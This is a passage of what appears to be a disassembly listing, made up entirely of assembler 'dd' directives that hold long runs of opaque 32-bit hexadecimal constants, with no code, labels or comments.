		dd 71E09B5Fh, 6512E4A0h, 0CAF30BF6h, 75D5D149h,	2309EBBCh
		dd 0CA1FBA58h, 0F7C6153Fh, 0C5578BA7h, 0BC3C96DEh, 6E7E6846h
		dd 1834F7E0h, 0E820CCBEh, 244DCEFBh, 88A7807Bh,	9098FF78h
		dd 23D6AA3Eh, 547A2D2h,	79DEB065h, 1CD2E326h, 307067D9h
		dd 92C9147Dh, 2CD9FE4Ah, 102AAF33h, 54E13F58h, 0B946BA48h
		dd 34BB7B1Bh, 9525EE10h, 89E375B4h, 79A7C8ACh, 0FA2AE241h
		dd 8DBEB175h, 0DA6A69F7h, 4F54ACA5h, 0D395B1A3h, 7472F516h
		dd 86FEC741h, 7E3874E6h, 0DFFA7987h, 0EA79142Bh, 0DE21EA60h
		dd 0FF005565h, 0CBA2C24Ah, 1096D22h, 0DACAA414h, 0FC046CDBh
		dd 76772155h, 674D4274h, 67DB71D0h, 3B3FC7ADh, 0F521F814h
		dd 0F9F97B62h, 337CB127h, 66F58D91h, 74183F8Bh,	0B7FE351h
		dd 0AF0EB4FBh, 0A1539F5Eh, 83B9A303h, 0ABC8A40h, 944001D4h
		dd 71A6DA05h, 0C08AFB53h, 559150CEh, 2212E7C7h,	9E1448E8h
		dd 0D497EB9Ch, 99C1C620h, 3FD7234Ch, 7BB4C099h,	938D70BFh
		dd 358F0C09h, 79390BEAh, 0ACC79182h, 0D088BA26h, 0E630740Ah
		dd 0C4C2EE28h, 25AC31CCh, 2E7B4E18h, 0F019F90Eh, 109D9715h
		dd 0E120FCB4h, 7FF4CA30h, 19292916h, 0E0D5D3B9h, 99C397E0h
		dd 76038B37h, 7DE58820h, 0A000B6BEh, 0FA049BBAh, 6524042Fh
		dd 4E56E586h, 0EFB12B65h, 0D6CA2F76h, 77D2D89Ah, 44428F9h
		dd 8F8DB6C1h, 8E6D128Bh, 0D89E7A11h, 59C4D51Fh,	0F856CD3Bh
		dd 0FC10DE80h, 0D71A880Ch, 0B5D1E030h, 0B204504Dh, 0E4690B42h
		dd 0FAE98734h, 0D819A88Ah, 65EE172Ch, 0C8DB18D3h, 4ED2423Eh
		dd 10EFAF1Bh, 0EDE2B086h, 0FC7E2D62h, 0B2433BA8h, 288061F5h
		dd 21E6BC2Eh, 0DBD94219h, 7DABFC4Fh, 4D9AD3C1h,	9B4423Ch
		dd 3909D544h, 67AE15F5h, 0C9D6AE77h, 33F51B89h,	46168FBEh
		dd 98D2EE87h, 3A445BDAh, 0F66E9BDDh, 0FBF51AE6h, 5AB0A433h
		dd 0CA41DF20h, 4E60A997h, 55CA4827h, 995D4BC9h,	0A9F369F1h
		dd 0B10869C7h, 0D852B332h, 0A0F7DFEEh, 0B1EB0FDEh, 857A5B8Dh
		dd 232AA440h, 0FEF23706h, 33D894F3h, 0FEF4116Ch, 995C413Bh
		dd 0A77FD0AAh, 0F9C20104h, 0D87AC73Eh, 0DB2666E2h, 0E2A70E89h
		dd 0A2A73DF0h, 9B562553h, 46E6303Bh, 1AFF69FAh,	0B62C0F0Eh
		dd 0A5AD8B35h, 46FDB039h, 6AF6718Ch, 734BFE97h,	0BA44F841h
		dd 48F7D4F4h, 659F02F6h, 44CE5B6Ch, 0A91D14D8h,	0BC29A21Eh
		dd 80551D0Bh, 0AD800CC9h, 0F987576Eh, 0ACB4E0C5h, 0A1DDE24Dh
		dd 6B509147h, 0E87E2B77h, 82698769h, 21F8210Fh,	5F06E10h
		dd 0E59FD578h, 0CF588FE5h, 0B32CB142h, 3372DA8Bh, 0CA0B66BAh
		dd 46918AABh, 0C72994FBh, 3881FD43h, 4690C3Dh, 3ADA717Bh
		dd 0ABFEC635h, 44B95021h, 2D2A6323h, 0C162CD44h, 0A870D152h
		dd 0B5DFE7FDh, 7B74198Dh, 0FA3F6CCFh, 0EDFF6C12h, 5A572302h
		dd 0ACFFAF15h, 2311AB48h, 3DCE57EBh, 0E4552BBDh, 620E3DB8h
		dd 8AFE515Bh, 3BE71352h, 6AAFF0A5h, 0FA7792FDh,	46C4C21Bh
		dd 0BB410E06h, 20464E0Fh, 6B5E5184h, 9486359Bh,	0DF92F00Ch
		dd 5F9F3077h, 9AED32B0h, 9E04CAE6h, 13DB08F6h, 0B7307401h
		dd 3933CBB3h, 9A8A8DFEh, 8D17160Ah, 0FBDAD6E9h,	2F30D7DCh
		dd 0B507C609h, 80B7A8EEh, 26E5F45h, 654ED2E8h, 6B74D453h
		dd 0EE266231h, 94EC379Dh, 63676665h, 2F7FF3E7h,	88F7A1ACh
		dd 8D09C19Eh, 0BC7BE7B2h, 0F19802Bh, 8310CCC0h,	7CCA9DABh
		dd 245C560Fh, 644ADE0Ch, 0FC5D56BAh, 5DFB8E41h,	0FF2A538Dh
		dd 0AC85F0ECh, 27E6A3C3h, 0D4613EA7h, 540CDD9Dh, 0CBB248FBh
		dd 0AF0A0BF3h, 9FEB4217h, 930215B9h, 1A7536CEh,	8F7959CCh
		dd 199E382Dh, 0E98E4956h, 76B59F25h, 73701591h,	0AA600Bh
		dd 43373DCDh, 124CEEC3h, 31200084h, 2EFBC5FEh, 23E25415h
		dd 0D8DEE237h, 0C6BB4E30h, 14F40B5Bh, 0F44417BAh, 9AC20101h
		dd 0B36E4D76h, 7BDD5390h, 0FC30FE69h, 0FF3094E7h, 0E78E9CC5h
		dd 605513E9h, 0D5842DEAh, 9E081C3Eh, 0D3368585h, 98CA7E25h
		dd 0BC090C1Fh, 5F443EE1h, 2A4B1531h, 0E40DAF49h, 6E9C3728h
		dd 4230E8F2h, 0B9A747A4h, 5850E09Ch, 4CC06104h,	10964C0Ch
		dd 6CA72E4Fh, 8814BD1Ch, 0F9C5BA10h, 15835237h,	4A737730h
		dd 470051AEh, 5DF8E921h, 0A2BCE4DEh, 0ECF0D291h, 1ED20B39h
		dd 25E8E513h, 35431A6Eh, 0CC5039CBh, 15744787h,	5EC5D160h
		dd 88637EF4h, 810DDC7Eh, 13B6A664h, 0F221B9DBh,	8FD17B10h
		dd 0B711380Ch, 0BA3CFD7Ah, 8E8D9594h, 4E3EDF9h,	7EE72DB1h
		dd 0DF29CD5Ch, 58068258h, 0DBC1663Dh, 0F52C15EBh, 0D8A8F1E5h
		dd 6D27D264h, 87DF218Dh, 65329249h, 0EC8A3C76h,	0C616D20Bh
		dd 0F9BFCE46h, 1AFA2C8Ch, 0C711729Bh, 0BFC5A629h, 3866CA1Ch
		dd 5FDC1DE9h, 8F235352h, 0EB4256D7h, 2283BA26h,	5EB66D96h
		dd 5C0DBA8Ch, 29E77FA2h, 0CBF3E147h, 0FEFC1941h, 0FEE0C686h
		dd 0E8507432h, 0CE7E9DA4h, 26756200h, 7241E96Fh, 71DD4235h
		dd 0D7470B50h, 36E08CBBh, 16571C60h, 4604BC4Ah,	2634AD4h
		dd 44D3304Dh, 8A01D187h, 8BFE4F2Eh, 7069B1A1h, 0F4D2DAABh
		dd 0F436E541h, 0CBFFB234h, 0ECB2F736h, 69D9031Fh, 0AEE6D8D8h
		dd 1AE487D3h, 0B7D6A3CEh, 0E1EE7597h, 9E254894h, 9542861Ah
		dd 5DFBADFDh, 7438EBB1h, 46D4D9E7h, 6ADA159Ch, 0A9B65ACEh
		dd 6A04BF7Dh, 37F22137h, 0EBDB82FCh, 431E5E75h,	16D99B85h
		dd 0B500C856h, 0F132E4ABh, 0D9FAA948h, 60A6EF46h, 0FE5D41F1h
		dd 0B86CB5F3h, 0CE90975h, 0EF8380A0h, 7D8BFF26h, 35C8990Eh
		dd 0B22F28D5h, 5B427171h, 0E5ADF0F3h, 29F04A11h, 81E88DAh
		dd 9562FB6h, 996D41FFh,	2D1BBEBFh, 290010FFh, 0A0A649DFh
		dd 0F2058967h, 77ED6D3Bh, 2C16E384h, 88398B33h,	9C95C4BDh
		dd 3B9E060Ah, 66572AD8h, 58D7F3AEh, 26A9C2BFh, 450A678Ah
		dd 33CDC5A2h, 4B331E78h, 0CBA6887Dh, 9A3CE40Dh,	9545F465h
		dd 686A4AA4h, 0D58EE096h, 9FB9741Ch, 48C45FC6h,	0BD86F0E5h
		dd 10D3CE24h, 0FFD50D1Dh, 2D08D19h, 1FAF51D7h, 618417A2h
		dd 0E4BA031Bh, 900D4EF1h, 0F5C78D55h, 0BD5DC9A5h, 0BF807131h
		dd 0A0C98516h, 0CA0ED171h, 0C15BCCE1h, 8AEAF514h, 0C8C1BC2Eh
		dd 0A92C0906h, 0B60BA2C7h, 0C58C6E88h, 0BB8E04C7h, 0DD1C66FBh
		dd 0CCAD0D42h, 813CE749h, 0EC1F1B4Bh, 0E83FA484h, 8C5E0DD0h
		dd 11EF36EEh, 6D2416ACh, 61B669DAh, 42A7E151h, 6D843497h
		dd 8549856Fh, 7C108899h, 7D912F71h, 0AFB1924Bh,	988D3888h
		dd 0CCA49374h, 1B5D0396h, 41E5FC03h, 5F00772Bh,	452084EFh
		dd 5E3B0ACCh, 0EE00015Ch
		dd 9F094A23h, 0B9F52666h, 9FB1DBA9h, 21D1E2FAh,	23390F40h
		dd 0DAB1780h, 4890DAD2h, 8FCE6A07h, 0FB3E7A2Fh,	21153F85h
		dd 7581AD74h, 9853F8D8h, 21D3B3B6h, 9C733EE7h, 9A1120ADh
		dd 6B61C9EDh, 0F2DC6947h, 7EB682B9h, 0FE6C7AD3h, 0ECC390Fh
		dd 50AF7B5h, 2E396D2Bh,	0E1FF886Ah, 3ADADEC7h, 0AD9033E0h
		dd 6BC4498Eh, 4833EC5Dh, 0FB55A082h, 0E5C0A3ACh, 0A379F993h
		dd 7952DCF9h, 54F8AECCh, 483530BBh, 0DBAD78D3h,	9D7F7ACFh
		dd 0EA081B31h, 96F3D18Ch, 0AC1258CFh, 6EB77504h, 96EDDBB2h
		dd 381C49E2h, 0F67D6DFh, 61BC00Eh, 7443E900h, 7E1D8B84h
		dd 0C77099EEh, 0B1851266h, 0D273004h, 35406808h, 3DEF1373h
		dd 0CD98BFC2h, 1A4E6B82h, 0D9886FC0h, 0AE381027h, 0B7A37CFCh
		dd 0EBA74DDBh, 9321D300h, 0A89FF984h, 62FDE287h, 4EC49AA7h
		dd 63371926h, 0DF125554h, 6638321Dh, 52243686h,	49E10A65h
		dd 0EF57673Bh, 33F7A46Eh, 0F540BA69h, 9A3360ADh, 0F6D44232h
		dd 67229D1Dh, 92B36091h, 0BC368768h, 14977B31h,	0D0B15C32h
		dd 60953AB7h, 0EAA1793Eh, 566FAB33h, 55D5FF7Ch,	0FC0F625Ch
		dd 27C86AF9h, 1C7A8441h, 0BC8C9C8Fh, 0BC8E3940h, 4453B596h
		dd 0D0B49F55h, 1145785Ah, 6353FBA4h, 4CD1E18Fh,	0B1836473h
		dd 61F3CB93h, 2F99E3A7h, 547E96A3h, 4E74413Eh, 5715DA3Ah
		dd 74E8C06Ch, 731F2BD2h, 82ACC46Ch, 6CF52D17h, 96DF39D6h
		dd 0F9EAC58Bh, 0BF7D6D98h, 40D16D4Ch, 6F236CE8h, 0BD401F42h
		dd 6080671Ch, 0B766524h, 0DE57E81h, 0D0193B2Eh,	2021B18Bh
		dd 7E564C94h, 2A979AD4h, 10CB17E3h, 51961447h, 0DFB3964Dh
		dd 1B1DE551h, 36D9460h,	144C0A0Eh, 0FD2449B7h, 6A8B6B2Ch
		dd 4EBE603Bh, 61BF23DBh, 6B3E2A3Ch, 34DF17FAh, 56EECC20h
		dd 0DEBC7D7Bh, 0F7828187h, 5E952AE5h, 8C06A067h, 0BE00847h
		dd 101873E8h, 6A23B621h, 0BD72C3EFh, 4F00D36Eh,	0C1310BFh
		dd 0E8DC152Bh, 9E4ED77Bh, 4BCA1F7h, 2F8C467Bh, 21209657h
		dd 875B351Ch, 1C8E98FAh, 42BAB2AEh, 0FC6B3D41h,	0E0DA70C9h
		dd 0ACF5A939h, 9762EAC7h, 0DB60E7CBh, 32C13537h, 7DBE6D5Bh
		dd 0CBF90EA2h, 0F884892Ah, 0E51964Dh, 0ED2EEF1Bh, 0C507D4D8h
		dd 0F6D8B1BEh, 3AA279E1h, 5498C9DEh, 92165200h,	0DBA1E2A0h
		dd 7B7A7F82h, 9850FCF3h, 0F5F0D136h, 5ED1A6C9h,	0B9961EDAh
		dd 87EAB88Dh, 0E23BFC07h, 4365F781h, 0D8F9EF73h, 0BB842A4Fh
		dd 0C0D67903h, 152D7B8Dh, 5AAED435h, 0EA6F0B64h, 0D3CFE2AEh
		dd 6E42A185h, 2C9DC238h, 0A6A403EFh, 14DC05BBh,	2B9B9067h
		dd 938DAD86h, 190EA29Fh, 0D6FD1BFDh, 3F5076C7h,	79F56ACh
		dd 9048EA25h, 6C7A3C2Ch, 0FE9C2038h, 2D179268h,	0EDA1C9FBh
		dd 9D344745h, 94FD4717h, 0D8DE1343h, 0F3AAE028h, 41494687h
		dd 0C50B4DECh, 0CEBF5E91h, 0DF125D1Ch, 9E45D26h, 0E2F83E4h
		dd 0FE2E71CEh, 3D353F40h, 0DDF328A9h, 51C9F327h, 0F67E71EDh
		dd 0CD3A87AFh, 0FAF9C92h, 629E66C0h, 1D4F53B0h,	70440CA3h
		dd 5064265Dh, 2EF98C40h, 0E7F5700h, 2D649F0h, 297C1203h
		dd 0AE70A40Bh, 1EAF82CAh, 0DFBFA5F0h, 0CE4BD402h, 0C5ABB890h
		dd 0C10205FDh, 86F2C5Bh, 79B16E7Dh, 349ADFA9h, 0C8AFB3C9h
		dd 878881C9h, 2D23BACBh, 43C67F5Eh, 0B7C12Dh, 0EFEE61BFh
		dd 4784EA90h, 19E5C85Eh, 0B8ECCF05h, 0CD89A558h, 0AC234B3Bh
		dd 649E8973h, 43211144h, 646166E0h, 0CBE487D1h,	0B73D9553h
		dd 4D5F5F21h, 50E1103Dh, 25B666BEh, 88C2A121h, 8225FD15h
		dd 0BAA19FC0h, 0CB5FEF8Ah, 0C24EF86Bh, 0E940A3DEh, 93F9C9C7h
		dd 6E004028h, 0FACA261Ch, 0C1B45A31h, 247DC234h, 62FDAEA3h
		dd 4B7F0E07h, 0AB1951FAh, 202C8350h, 0C8757E03h, 2E3BF757h
		dd 0E4BF774Eh, 82E69DF5h, 172A1E1Fh, 8A7BA355h,	4482769Ch
		dd 0D901E35Ch, 8040B05Ch, 0DBBB9D8Ch, 9FBA7FBCh, 0A48B830Ah
		dd 29E2E49h, 0FB8617C4h, 543B0A2Ch, 0EB0A741Eh,	0E37B50F3h
		dd 44B2A6h, 0B7F71637h,	0FEC04234h, 8CB8B5C4h, 97BBBC06h
		dd 6ADB162h, 0D9C0AAAFh, 986B6598h, 40CE68C6h, 9214CEF3h
		dd 34BB63A2h, 94D44CFh,	0C03BB468h, 0FBB32EECh,	2431D051h
		dd 0E08148A4h, 24F290E9h, 0D7BF7E8Ch, 0AB679A25h, 0BAEB698Fh
		dd 9A0CA38Ah, 0AA2FECECh, 85B40857h, 0AE615A01h, 638C5406h
		dd 0F5EB73h, 7F4AFD49h,	0FFCCBDEDh, 0DEDC5B66h,	0CAB8BD40h
		dd 0B69572E3h, 6DC88C4Ah, 56AECB1Fh, 42719128h,	166587A2h
		dd 3F80F20Bh, 0D197CE84h, 0CEC3AB9Dh, 7BF1C0AAh, 0B366E4B2h
		dd 0C7EF5D46h, 7C3445D2h, 77161A5Fh, 532BCEE3h,	0BF33D482h
		dd 0DE1F4312h, 776AE3E0h, 2FB04097h, 0C54FFBFBh, 8F0266CCh
		dd 0EFEA32E3h, 14A5F5BEh, 4C5CAF1Ah, 385CE4B6h,	6E8A16D3h
		dd 0DCFBF9B8h, 9B10A69Ch, 0B944C18h, 0D584DBB1h, 1D19F21Bh
		dd 0E974D20Eh, 701E01FDh, 5E4D8B16h, 316F009Eh,	1E5C0ED0h
		dd 7162E9B0h, 0DBFFDECAh, 135B239Fh, 3E0C4DD8h,	41964F21h
		dd 0EE6A1E27h, 0FCB2606Fh, 36EFA1ECh, 8F5D31ADh, 88265864h
		dd 21B9FFD8h, 42C19644h, 0F0268FFDh, 0A65715C3h, 0A8037087h
		dd 8D4025B1h, 681A88F6h, 40D4229Ch, 314263DAh, 0A0CC9F68h
		dd 1AC887CBh, 0FEFEF5FDh, 45CD3097h, 0DD4677E3h, 9076C371h
		dd 0D23042A8h, 0F004CD17h, 879233BFh, 45FA7999h, 78EEDD09h
		dd 0B991D13Ah, 1BE1E9A6h, 55CA5207h, 86658D06h,	0D7582180h
		dd 1A94A69Ch, 25DCDD02h, 6627988Ch, 918D6FD7h, 0F25F1778h
		dd 0CD2CDC5h, 624E7380h, 9B79EFC8h, 29244C5Bh, 57CCDEAEh
		dd 0AE22AD30h, 0F0009237h, 0D0684398h, 0FB2C5BC0h, 0C24FDCCBh
		dd 0C03DB543h, 68F110D2h, 0BCABE919h, 7B23965Bh, 0A8C924E5h
		dd 6097C25Ah, 485EF196h, 0F915A49h, 3FF3E83Ah, 0DEC2CEAFh
		dd 0C6CB6EA6h, 0E746E132h, 8B612165h, 0EC315AF3h, 11560ACBh
		dd 603DDCDBh, 92CBB8BEh, 6359021h, 0D72D3709h, 249C0B81h
		dd 0ECF6D0A6h, 0B99CDBFAh, 0CA168F47h, 0CF9C5F3Dh, 0AE7E65ECh
		dd 850BD7A9h, 4175A880h, 0AE42F705h, 42A9BBE6h,	33235C14h
		dd 8518DFA2h, 2FF3B101h, 0CB4DB87Dh, 14564E7Bh,	65837A4Eh
		dd 299EB9A1h, 1BEE58FAh, 0E6960CC8h, 0F4122B53h, 530F10AFh
		dd 1B8C7A27h, 731782E7h, 7DED85D6h, 428CBE84h, 0C1872C90h
		dd 5E729F3Ah, 7B8ED595h, 43C4DFABh, 5912C3E0h, 0D3A74F34h
		dd 9B8D2B14h, 0CF669981h, 0DBB4AEDBh, 0C0C5C8B7h, 0F3E311BAh
		dd 15EAF685h, 14CAAB99h, 0D93BB4Ch, 135C65C8h, 0D89F111Bh
		dd 743D4670h, 57105D51h, 0D0F7C9EEh, 0D58F2A69h, 1E8B1629h
		dd 1D32BE47h, 0F8B895E3h, 3A7E3FB2h, 61496365h,	18132159h
		dd 0A08E4DA1h, 1F845675h, 5496C9B3h, 8700A4E4h,	0A9045857h
		dd 8E9C2426h, 0ECFF4F4h, 360919A7h, 1DA7FF71h, 0FD402417h
		dd 0CB4DE731h, 7FDE4B5h, 856E3BFBh, 9392741Fh, 0B0163113h
		dd 1C4D181Fh, 0BFDBC607h, 314BA635h, 691746DFh,	489D2486h
		dd 8F593ABDh, 0F57AD5F5h, 2CBF97CBh, 0A117A16Bh, 0CC7013B2h
		dd 0D93FF2C2h, 7EEBB9DBh, 0CE758F15h, 6A58727h,	0CE1AFADh
		dd 0C763184Dh, 90CD34A8h, 6F2A3AB4h, 0A2FD3150h, 0C1CFFCBAh
		dd 0ECAF1EA5h, 5A76ED90h, 667D1EE4h, 0DC7B9FB5h, 4D853EB9h
		dd 688BAFB2h, 587D5E88h, 0AFAD362Bh, 8E78DA39h,	4F8E1A7Eh
		dd 0A2754CFFh, 5A6F98Dh, 0E5C8F83Ah, 305C695h, 0A3DD94FEh
		dd 54707073h, 0E67E194Eh
		dd 70B160E6h, 0EB8A6D37h, 5529C2F5h, 270F613Bh,	63F9E021h
		dd 0FF9580B2h, 0CEC2EB1Fh, 59E96C3Fh, 0ABE27798h, 0C4905734h
		dd 0B3919Eh, 8BF8C998h,	0E69C56C7h, 5EB41D3Fh, 0CADA0873h
		dd 6C8F5692h, 0FE3D6F72h, 787C38ACh, 0C4C8961Ch, 8F5130BEh
		dd 0E7207270h, 0C8E26144h, 6D85A040h, 799676D1h, 0EBFC4802h
		dd 0AB26EAB0h, 79C43556h, 0B3B5AACDh, 0F453A450h, 7A711D7h
		dd 15441C32h, 6E396406h, 1951C7E1h, 0ACE2EB48h,	0DF07C0B9h
		dd 2BADE0DAh, 53BEC683h, 3EA3E031h, 7E093FCCh, 54F69BECh
		dd 80E70F11h, 82FEEC4h,	429DEEA9h, 0DB100724h, 0C22B86CDh
		dd 3B5B732Eh, 5CDBA408h, 6B70A06Ah, 1797149Dh, 26C168Fh
		dd 490F9728h, 0B2BE7A18h, 1C576F6h, 95E7444h, 0FDEF4A01h
		dd 2776362Dh, 0D430E1BCh, 0B8CC155h, 0C1EF1D7Dh, 22833E9Eh
		dd 0C404A5E1h, 0E34DE8CFh, 0F1A6EB48h, 4729EE17h, 0CFA695CAh
		dd 57576704h, 34C7725Eh, 8B180E42h, 97A4F0E6h, 0A9804D02h
		dd 7328084Eh, 0F8A1D002h, 0BB02CA6Dh, 0DAEB8CD1h, 50C21929h
		dd 0BFC4E099h, 91BD3A38h, 95937526h, 417CDF61h,	0D9E8A10Ah
		dd 83FE5398h, 775EFA33h, 0F5976756h, 1B95A3A8h,	313A9EB8h
		dd 8042254Ch, 8199FDD7h, 749E7562h, 0AE3611C5h,	13FB1EF1h
		dd 7FA66028h, 1058D6ABh, 28365BF8h, 4B7C597Ch, 0D5CEDBE8h
		dd 1C5ED037h, 9B62DA1Fh, 0D67A76CBh, 5CD503B6h,	94CB3E2Fh
		dd 8B08AB5Ch, 20E5EA49h, 0BC03C329h, 5E84368Dh,	0AB9B6220h
		dd 0AFBB2816h, 0EE77C97Bh, 0D7CD28F4h, 90AC6E50h, 0D06F028Fh
		dd 55DF0EB2h, 0E7571DE9h, 47CF4562h, 0A06B825Fh, 0AC7C71EAh
		dd 1B3ABA3Bh, 0CB7E3DA2h, 29C4B88Ah, 2AE4D68Eh,	7A2587D1h
		dd 0DB14EA23h, 0AD29EF64h, 0D46F4A22h, 86B1A3F1h, 0A9D1B029h
		dd 32DA67E5h, 22F6AF67h, 0F6E082F5h, 74A6DAAAh,	0BFD0A5Bh
		dd 29B3DB64h, 8A5E8C76h, 8F968959h, 0C86E44D1h,	0FD806B1Ah
		dd 0D1B9ABC7h, 474F13F6h, 7C1547F9h, 0A6AABCCDh, 0E9FADD2Ch
		dd 8CDE8FEh, 0D7E7A4CBh, 6E3FAA56h, 0B106E693h,	1BD6A8D9h
		dd 0E32A7617h, 0A9155A40h, 1908E2C6h, 0E28628B5h, 0BD8C0667h
		dd 9DD53E92h, 434F6081h, 1EDBDD8Dh, 0D08625E2h,	324FE67Ch
		dd 71DE95ACh, 0BB257673h, 85D3A5FBh, 0D67CC5D4h, 0EB6BA3D0h
		dd 67102920h, 0D36EDA9Fh, 277D4AD1h, 0BAA950B6h, 8CB8FB36h
		dd 68CAE320h, 0EA2BFD97h, 0E7E4D1A4h, 0F667B7C3h, 0EA125F65h
		dd 0CC0E1931h, 0ED5F9D1Eh, 56D3F9Bh, 0E31D8DBEh, 0C80AF3C5h
		dd 666CA7D7h, 4A4D9893h, 2FCAD5D6h, 71E399BBh, 0F7BF157Ch
		dd 0EE0BB1E6h, 258D30ABh, 6ED81945h, 99EB08A8h,	0CE0E5779h
		dd 8FC4EC12h, 0DE13BFDBh, 5FDA9E2h, 5BB4BEBFh, 27F790Bh
		dd 6DA48062h, 680BCE6Bh, 3A49B316h, 0F0F5EF87h,	1FF384FEh
		dd 348E6222h, 6EB28CEDh, 4824C71Bh, 83C03D0Fh, 0E0FA859Fh
		dd 9BB51C53h, 0DB957A35h, 0E1193CFEh, 0E1FC6D6Dh, 0C38A0AA1h
		dd 3E17B8B9h, 5945FFD1h, 0C0D0E57Fh, 0AA66F2Ch,	442981F9h
		dd 0F3DEA6FBh, 66FA2474h, 0FE4DC888h, 8C8B1765h, 57531DE8h
		dd 0E608D244h, 8874ED0Bh, 6155ADB0h, 4F5A1496h,	2B40C4EFh
		dd 399BCB2Ch, 0F17F16A5h, 51FD4D4Ah, 0C660FAF9h, 89CA6F42h
		dd 14E1E9B6h, 93B41FDFh, 0B4111C9Bh, 349D5FDEh,	0DAD524CBh
		dd 2193FBE0h, 4C41BAEh,	0BD9C012Ch, 508DD6B6h, 0E0726599h
		dd 7C1493E9h, 1CEA28FDh, 4EC473C4h, 201D0A9Ah, 87EB12Ah
		dd 1C71564Eh, 0F6EB2952h, 0BF7F8531h, 2E632471h, 46278344h
		dd 5941B632h, 20C2A61Ch, 67D50DC0h, 0DBF16173h,	5064C17Eh
		dd 2AD321h, 15D89365h, 0E347FB50h, 5960720h, 102A0133h
		dd 0E4E5F074h, 0A7E1FE93h, 4ABFB8D9h, 0A0AB3CABh, 0F432C75Fh
		dd 2B045DB4h, 6822E503h, 0D494841Eh, 6089CB2Ch,	976FEB89h
		dd 0D3ECA1FCh, 2B4FD0C9h, 28FFF653h, 3A4FCFE0h,	7BDD4FA3h
		dd 0C71AF10Ch, 0E0CD45Eh, 843F7D2Eh, 0DCB843CCh, 0B47B2289h
		dd 0F7533568h, 0BFC27C1Dh, 89BB14CBh, 3E427002h, 43E7E1F3h
		dd 64E86A60h, 7B2F8695h, 0A5D42B73h, 2FA9B0EDh,	0ADD3A3E8h
		dd 0BCB566B6h, 0B4143340h, 107509A8h, 0D1FA1001h, 645F90DEh
		dd 282B6C69h, 74843207h, 47359878h, 1483F87h, 4E5EF9D7h
		dd 0DF9CDDFDh, 3443CD16h, 0AA2C1C83h, 93EF8D69h, 863C7343h
		dd 0F33A4FFDh, 206A1007h, 646574AFh, 0B5230CD8h, 5F999DB4h
		dd 547F2B04h, 0B0DC861h, 0BE481575h, 9D238651h,	0F9BBBF39h
		dd 2E7735ADh, 8D08A49Eh, 41284784h, 7286A0E3h, 9627F138h
		dd 0C2969F9Dh, 0D5A00A1Bh, 0D938BE3h, 0D0A5DF7Fh, 0C363CE89h
		dd 0AE54E5EEh, 0ACF06F77h, 3D0F0B78h, 0DAEB0913h, 296CF06Bh
		dd 0D319151h, 0ABE4C70Fh, 82BF23F7h, 2245C0ECh,	0C334F119h
		dd 80B22C07h, 0BC776B98h, 0ADD8A1AAh, 3C71080h,	86545BFEh
		dd 0CAC0A01Bh, 1B36AB2Eh, 924E7A10h, 0E2DE8DFEh, 135838F0h
		dd 23C8A7FAh, 2475DBF3h, 61D1E648h, 0CBB2C8F3h,	678F3741h
		dd 0BD195111h, 0D5130FBBh, 0FF4E3EAFh, 4B3FF920h, 0E7E2F306h
		dd 0B1B77A33h, 9E94F4EEh, 6E6DC091h, 0C33B3848h, 80B6901h
		dd 0AA74AB3Fh, 0FD3D88CAh, 2347981Dh, 74CB3495h, 49E2DF04h
		dd 3DD37C6Ah, 0BE91CAF1h, 1870F9B9h, 64C57471h,	0D89F00E5h
		dd 68A1889h, 0A986D840h, 0B2BB9668h, 0DDBA031h,	0AC10516Ah
		dd 0EE6CC9F4h, 0D57EEE9Ch, 0ECE94D98h, 5BDA6B29h, 0F96A6085h
		dd 0C9AD3D48h, 0C8FE1F34h, 0E78FD573h, 0E5F4E5CDh, 70AB18FBh
		dd 0CA23DE66h, 603C48C6h, 44D41F4Bh, 0CD0A5899h, 0CFDC4EE3h
		dd 908F3D5h, 7242F621h,	7AAAA4D0h, 58695890h, 0C7FDB4C4h
		dd 49415E72h, 0A2BE6A61h, 0BAF9C8B6h, 0EB2239DDh, 578937D8h
		dd 0CBDBDD66h, 0B94E9C4Bh, 5AF27252h, 3F25904Bh, 0C1A4D7BEh
		dd 0EC82DCDEh, 705924C0h, 0AE3CECAEh, 0AFBA3E87h, 53EEDFDBh
		dd 0EF1F23C8h, 68DF2E5Bh, 649C9427h, 0E0EDE529h, 7A7136B6h
		dd 4B2AE7CAh, 0BD5C5921h, 739A8E8Ah, 0A61DC628h, 0ACD9F882h
		dd 473048E6h, 0B6D910ACh, 0A63BBB32h, 0E871153h, 6828610Dh
		dd 0D1B19BA0h, 0CF8EBED8h, 960006Ch, 93752671h,	94B0F5EAh
		dd 0FE4D9EFDh, 57793C7Bh, 2C7F997Ch, 81748C2Eh,	4D26B8CDh
		dd 55F2982Fh, 2D83CDA1h, 6A79C252h, 1121CAE7h, 0E304D878h
		dd 4CB241B7h, 112D961h,	2FF391CDh, 4DD23B78h, 8FF84E9h
		dd 6F9A8E13h, 0C1DA040Ah, 96E1E1D3h, 19D9EA6Dh,	8436F09Dh
		dd 62AFFC86h, 9E448837h, 0A68F7658h, 0DC81B09Eh, 7BFC9344h
		dd 287F747Fh, 0FA2D5A17h, 60A205F9h, 0F13E65B7h, 9596E2h
		dd 524588B5h, 65CD1082h, 0BAB7C3B6h, 0B68784D5h, 48BCB864h
		dd 0C70C6D2Eh, 62FEBEB6h, 0C4D253A2h, 4E271D52h, 753F14C6h
		dd 321B7F02h, 5E729722h, 0C5C598E0h, 4FDF6CD0h,	0D82C2E60h
		dd 0A5FA78C3h, 6C91601Ah, 9D6163D1h, 17638D24h,	7474378Ch
		dd 666C4D9Dh, 0F217ACE4h, 4E41FA43h, 3E5346A3h,	0A0699987h
		dd 0C0705421h, 0D3C3161Eh, 0AE67173Bh, 115CB1E2h, 74EA7D77h
		dd 1DC24C93h, 36B7B1E2h, 0A448D182h, 47EE5990h,	0EBEFE047h
		dd 1E7299CBh, 9460BCD1h, 0E919E537h, 383EF439h,	0CAE0BC8Dh
		dd 0F8CB311h, 0E434234Bh, 0ACC7D908h, 0A3C277B1h, 201FE198h
		dd 0D36DB0DBh, 345DA7D9h, 7AA205A2h, 540D35B5h,	7C90EC7Bh
		dd 719418A2h, 0D08141CCh, 1E88B8Bh, 981F151Bh, 37B75A0Fh
		dd 7284523Ch, 0D25D43B8h
		dd 742B95E0h, 0F0405200h, 0B26A3633h, 0AFF86397h, 3DEBCC3Bh
		dd 0EBF42EBBh, 8E397E8Dh, 9A2DCF75h, 0A047E9F6h, 500036Fh
		dd 3D705C72h, 0B4980212h, 7187009Ch, 0A81B5A57h, 1BCEFA94h
		dd 0FB99A6F5h, 0B90CCD46h, 2833E914h, 6B315A00h, 6EBBE060h
		dd 8F5EABEDh, 0D5D91A3Ah, 0A8710566h, 8D1D83DCh, 0D86D8460h
